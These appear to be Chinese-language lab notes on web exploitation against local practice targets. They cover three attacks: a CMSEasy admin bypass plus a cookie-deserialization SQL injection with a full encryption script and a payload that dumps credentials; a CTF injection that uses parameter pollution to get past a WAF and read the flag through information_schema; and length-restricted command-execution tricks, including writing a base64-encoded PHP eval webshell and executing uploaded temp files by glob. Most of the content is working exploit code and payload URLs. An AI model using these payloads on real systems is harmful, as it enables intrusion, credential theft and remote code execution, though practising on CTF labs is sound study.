这里写自定义目录标题
sql实战
cmseasy
1、/lib/admin/admin.php和/lib/admin/tool/front_class.php源代码中发现,可以伪造IP并且传入ishtml=1,即可直接进入管理员页面
http://127.0.0.1/cmseasy/uploads/index.php?case=config&act=system&set=site&admin_dir=admin&site=default&ishtml=1
2、拿到cookie,01278de63f4e348effb61ac9167e84ce
3、/lib/admin/admin_act.php源代码,发现源代码是对cookie先进行base64解码再加密再反序列化,所以我们要对cookie进行相反的操作
4、将加密函数相关的代码全复制到一个你创的php文件中,将key进行编码,加密,序列化,
<?php
$key = '01278de63f4e348effb61ac9167e84ce'; //cookie
$table = array(
'userid`=-1 union select 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1 //注入语句,必须写在一个数组里,因为源码里传入的数据是在数组里的数据。
);
echo base64_encode(xxtea_encrypt(serialize($table),$key)); //与源码相反
function xxtea_encrypt($str, $key) {
if ($str == "") {
return "";
}
$v = str2long($str, true);
$k = str2long($key, false);
if (count($k) < 4) {
for ($i = count($k); $i < 4; $i++) {
$k[$i] = 0;
}
}
$n = count($v) - 1;
$z = $v[$n];
$y = $v[0];
$delta = 0x9E3779B9;
$q = floor(6 + 52 / ($n + 1));
$sum = 0;
while (0 < $q--) {
$sum = int32($sum + $delta);
$e = $sum >> 2 & 3;
for ($p = 0; $p < $n; $p++) {
$y = $v[$p + 1];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$z = $v[$p] = int32($v[$p] + $mx);
}
$y = $v[0];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$z = $v[$n] = int32($v[$n] + $mx);
}
return long2str($v, false);
}
function str2long($s, $w) {
$v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));
$v = array_values($v);
if ($w) {
$v[count($v)] = strlen($s);
}
return $v;
}
function long2str($v, $w) {
$len = count($v);
$n = ($len - 1) << 2;
if ($w) {
$m = $v[$len - 1];
if (($m < $n - 3) || ($m > $n)) return false;
$n = $m;
}
$s = array();
for ($i = 0; $i < $len; $i++) {
$s[$i] = pack("V", $v[$i]);
}
if ($w) {
return substr(join('', $s), 0, $n);
}
else {
return join('', $s);
}
}
function int32($n) {
while ($n >= 2147483648) $n -= 4294967296;
while ($n <= -2147483649) $n += 4294967296;
return (int)$n;
}
5、访问文件,得到一窜字符
6、uri里act改为remotelogin,后面加上&args=那串字符(/和+进行url编码)
http://127.0.0.1/cmseasy/uploads/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=PGwFPT3aHlLs01Tgv8hx48gbbTn8D4oSI26emJDgPzjTz%2bj5wVxsYPN5HanQYW6l33vZsDg5BaUHfiWYiLljhg9phqp5SFDcKzylfoGDlste2FgEy00aIvojvQ5DV0lUZ6Lr8zv%2bQuc808VJLDonZLGjQlixLEkHctptquRA3XZOBbIPEM46y2qaQL0EnKeZIpzl6Br%2by%2fsMnKTQ
得到密码:e10adc3949ba59abbe56e057f20f883e
daiqile
全局污染
理解:在php源码中由于两个不同的函数,但接收的参数一样而产生的漏洞。
代码:
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['username'] . "</td>";
echo "</tr>";
}
}
?>
1、代码审计:发现有两层waf,第一层waf过滤select/union导致我们无法注入,第二层waf过滤()、&等,发现第二层waf比较简单,可以通过/**/来绕过空格
总结:
1)hpp全局污染,php接受相同参数。取后者
2)i.d在php中$_REQUEST,自动转为i_d,而 $request_uri 接收i.d就是i.d
3)注入绕过 =(like) 单引号(十六进制) 空格(/**/)
2、开始注入,发现取到第二为,我们就在这报错注入
http://127.0.0.1/daiqile/index.php?submit=aaa\&i_d=-1/**/union/** /select/**/1,2,3&i.d=1
3、查数据库
http://127.0.0.1/daiqile/index.php?submit=aaaaaaa&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=1
4、查表,ctf十六进制转为0x637466,用于绕过单引号
http://127.0.0.1/daiqile/index.php?submit=aaaaaaa&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1
5、查列,看到flag
http://127.0.0.1/daiqile/index.php?submit=aaaaaaa&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1
6、拿到flag
7、在执行查库/查表时发现sql代码执行不成功,可能是因为information表列与ctf列的排序规则不一样导致union失败,在navicat里改一致即可。
RCE
限制16字符传入参数
1、在/usr/local/nginx/html下创建web.php文件写入如下代码:
2、尝试在浏览器地址栏访问192.168.68.136/web.php.
3、利用echo特性在反引号里的代码会执行输出,并且使用$_GET[1]回调后面的传参 1 = i d , 便访问 192.168.68.136 / w e b . p h p ? p a r a m = e c h o ' 1=id,便访问192.168.68.136/web.php?param=echo` 1=id,便访问192.168.68.136/web.php?param=echo'_GET[1]`;&1=id
限制传入字符7个
1、分析代码发现可以直接传入参数在Linux下执行,先尝试执行id:
2、没问题,但是能执行的命令太短,想到可以用重定向>来生成文件,然后将文件用ls -t>0,即将文件名重定向到0文件,再用sh 0执行文件。
3、所以先把要执行的命令先准备好
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
4、从尾到头一点一点传进去,中途不要写错,要在自己Linux里测试一下,有空格的语句可以用引号包裹或\转义传入。
5、中途出了一点问题,就是浏览器传参执行代码发现在html下不能产生文件,而在/tmp/下就可以产生,于是将html文件夹的所属主和属组都改为www-data即可正常产生文件。
限制35字符,并过滤所有英文数字
1、分析代码,上传参数不能大于35个,并且不能有英文和数字还有下划线。
首先想到的就是Linux的一个机制,当上传文件给Linux时,会在tmp下生成一个临时文件,我们可以通过在删除这个临时文件之前就将他执行,就可以实现执行命令。
然后我们要想怎么用正则来匹配到这个临时文件,临时文件有个特征就是以php开头后面字母随机生成的九位字符的文件。
在Linux中基本文件都是小写字母,我们可以用这个特征来匹配临时文件中的一个大写字母来锁定文件,linux glob函数可以用[@-[]来锁定大写字母
综上用 . /???/???[@-[]来执行临时文件
1、创建一个文件demo.html,将文件以POST的方式传给haha.php,name必须为file,让文件能上传成功
2、demo.html上传一个文件,抓包,放入repeater
3、另外访问haha.php,抓包,放入repeater,将get请求改一下,GET-->POST 将传入的文件post里复制过来,Content-Type也复制过来,在haha.php后面加?code=?><?`.+/???/????????[@-[];`?> 点击sent发送。